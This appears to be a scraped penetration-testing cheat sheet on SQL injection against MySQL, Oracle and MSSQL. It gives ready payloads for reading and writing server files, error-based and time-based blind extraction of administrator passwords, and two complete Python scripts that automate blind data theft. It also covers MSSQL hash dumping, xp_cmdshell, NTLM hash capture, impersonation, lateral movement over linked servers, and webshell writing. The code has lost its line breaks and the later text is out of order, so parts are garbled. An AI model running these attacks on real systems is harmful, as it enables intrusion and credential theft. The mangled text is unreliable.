MySQL has secure_file_priv default to /var/lib/mysql-files or NULL on some modern configs.
READ
SELECT LOAD_FILE(<PATH>)
WRITESELECT '<STRING>' INTO OUTFILE '<PATH>'
or
SELECT FROM_BASE64(“<BASE64>” ) INTO OUTFILE '<PATH>'
Payload
Table
SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 1 OFFSET 0
Column
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABELLA>' LIMIT 1 OFFSET 0
Error
SELECT count(*), concat(( <PAYLOAD_TO_PRINT> ), 0x20 , floor(rand(0)*2)) as x FROM information_schema.tables group by x; -- -
Sometimes in Blind SQLi the condition true and false generate the same output. You can, however, use the Error-Base SQLi to get the true and false condition.
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
# examplexyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, {}, 1) = '{}') THEN 1/0 ELSE 'a' END FROM Users)='a# oraclexyz' AND (SELECT CASE WHEN SUBSTR(password,{},1)='{}' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator')='a
Blind with Hex
For the code
DICTIONARY = '0123456789abcdef'
STRING = ""
WHILE until it doesn't match anything in the dictionary:
For each <X> in DICTIONARY:
1) PAYLOAD = - In-Band Payload (what I want to read with blind technique)
- Returned in HEX().
- Renamed as elment.
es. SELECT HEX(<column>) AS element FROM <table> LIMIT 1 OFFSET 0
2) K' and (SELECT 1 FROM (PAYLOAD) as payload WHERE element LIKE 'STRING<X>%') =1 -- -
3) If we have the true condition:
STRING += X
BREAK
else:
BREAK
Print with: bytes.fromhex(STRING).decode()
Time
Substitute the SELECT 1 above with SLEEP(1)
MyMultipleBlind
Change parameters such as URL, error, the sendReq function, and payloads with your own Vectors and Boundaries.
import requests, sys, argparses = requests.session()proxy ={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}URL ='<URL>'error ='Invalid username or password'defsendReq(payload): data ={"username": payload,"password":"RANDOM"} r = s.post(f'{URL}/', data=data)#json=datareturn error notin r.text#* toDo = 0 -> TABLE#* toDo = 1 -> COLUMN#* toDo = 2 -> DATAdefSQLi(toDo,tabella,colonna,quanti):print("[!] Searching", end=' ') DICTIONARY ='0123456789abcdef' KNOW = [tabella, colonna,""]# HOW MUCH DATA TO EXTRACTfor n inrange(quanti):whileTrue:# CHECK EVERY CHARACTER for c in DICTIONARY:# SET PAYLOAD BY TYPEif toDo ==0: COSA =f"SELECT HEX(table_name) as element FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 1 OFFSET {n}"elif toDo ==1: COSA =f"SELECT HEX(column_name) as element FROM information_schema.columns WHERE table_name = '{tabella}' LIMIT 1 OFFSET {n}"elif toDo ==2: COSA =f"SELECT HEX({colonna}) as element FROM {tabella} LIMIT 1 OFFSET {n}" know = KNOW[toDo]# PAYLOAD PAYLOAD =f"999' or (SELECT 1 FROM ({COSA}) as payload WHERE element LIKE '{know}{c}%')=1 limit 1 offset 0 -- -"# SEND PAYLOAD ifsendReq(PAYLOAD): KNOW[toDo]+= c sys.stdout.flush()print(".", end='')break# CHECK IF IT IS THE END OF DATAelse:if KNOW[toDo]!="":print("\n[+] FOUND: ", bytes.fromhex(KNOW[toDo]), end=' ')break# IF THERE ARE NO OTHER DATAif KNOW[toDo]=="":print("\n[!] End search.") sys.stdout.flush()breakelse: KNOW[toDo]=''parser = argparse.ArgumentParser(description='SQL injection.')parser.add_argument('-t', metavar='TABLE', default='', help='Specify table for column extraction.')parser.add_argument('-c', metavar='COLUMN', default='', help='Specify column for data extraction, to be used with -t.')parser.add_argument('-n', metavar='NUMBER', default=10, help='Specify how much data to extract.')args = parser.parse_args()mode =0if args.t: mode +=1if args.c: mode +=1if args.c andnot args.t: parser.error("-c must be specified along with -t.")# RUNSQLi(mode, args.t, args.c, args.n)
MyTimeBased
Change parameters such as IP_PORT and payloads with your own Vectors and Boundaries. Inserting your own payload (es. PAYLOAD_COLUMNS or PAYLOAD_DATA) into PAYLOAD_BLIND.
import requestsimport timefrom urllib.parse import quoteIP_PORT ="<IP>:<PORT>"# PAYLOADPAYLOAD_COLUMNS ="SELECT HEX(column_name) as element FROM information_schema.columns WHERE table_name = '<?>' LIMIT 1 OFFSET 0"PAYLOAD_DATA =f"SELECT Hex(<?>) as element FROM <?> LIMIT 1 OFFSET 0"DICTIONARY ="0123456789abcdef"STRING =""defsend(payload):return requests.get(f"http://{IP_PORT}/<PAGE>", json=payload)end =Falsewhilenot end:for d in DICTIONARY: PAYLOAD_BLIND ={"id":f"1 AND (SELECT SLEEP(1) FROM ({PAYLOAD_DATA}) as payload WHERE element LIKE '{STRING}{d}%')"}ifsend(PAYLOAD_BLIND).elapsed.total_seconds()>=1:print("FOUND : ", d, " - ", STRING) STRING += dbreak time.sleep(0.05)else: end =Trueprint("\n[+] LEAK:\t", bytes.fromhex(STRING).decode())
Check if it is possible to recover the password hash of the sa account, which has full control over the DBMS.
SELECT name, password FROM master..sysxlogins # MSSQL Server2000SELECT name, password_hash FROM master.sys.sql_logins # >=2005
xp_cmdshell
Procedure that allows you to execute commands, but is disabled by default and requires sa privileges (both to execute commands and to enable/disable xp_cmdshell).
We can read files, of course if we have the appropriate permissions.
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
NTLM Hash Recovery
We can retrieve and steal the password hash of the MSSQL service account, under which the DB is running, which is different from the one in MSSQL.
To do this we use responder.
With the special permission, called IMPERSONATE, it is possible to impersonate other users by assuming their permissions. Administrators can impersonate anyone, while for others, privileges must be explicitly assigned.
Tip: Do in DB master
USE master
Identifying users we can impersonate
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name ='IMPERSONATE'
If we can access a SQL Server with a linked server configured, we may be able to move laterally on that database server. We can try to execute commands if we have the appropriate permissions.
Note: It is possible that only some users can execute commands on those DB links, try with everyone, even impersonated ones.
Identify connected servers (try all)
SELECT srvname, isremote FROM sysservers
Executing commands
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
Note: If we need to use quotes in our query to run on the linked server, we need to use two single quotes to escape the single quote.
Payload
Blind with time delay
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
# example'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, {}, 1) > '{}') = 1 WAITFOR DELAY '0:0:{delay}'--
Last updated
Automatic SQL injection and database takeover tool.
See , or the .
(Uses a syntax similar to curl)
Database that contains all the information.
Main tables:
(SCHEMA_NAME db name)
(TABLE_NAME,TABLE_SCHEMA)
(TABLE_NAME,TABLE_SCHEMA,COLUMN_NAME)
(variable_name,variable_value)
Dot Notation (.) to refer to other databases.
View if a user is DBA, Database Administrator with Administrator privileges.
To see all fields:
View all privileges of a user. Check if you have FILE that allows me to read and write files.
To see all fields:
The variable determines from where you can read and write (NULL=no files/directories, EMPTY=entire file system). Read the value of the variable from INFORMATION_SCHEMA.GLOBAL_VARIABLES.
MariaDB has secure_file_priv default to EMPTY.
If the user has FILE privilege and secure_file_priv empty or with interesting path, it is possible to read files via function.
Also used to print source code.
If the user has FILE privilege and secure_file_priv empty or with interesting path, you can write the output of a select to a file with .
With long or binary files use base64.
Also used to write webshell on the target.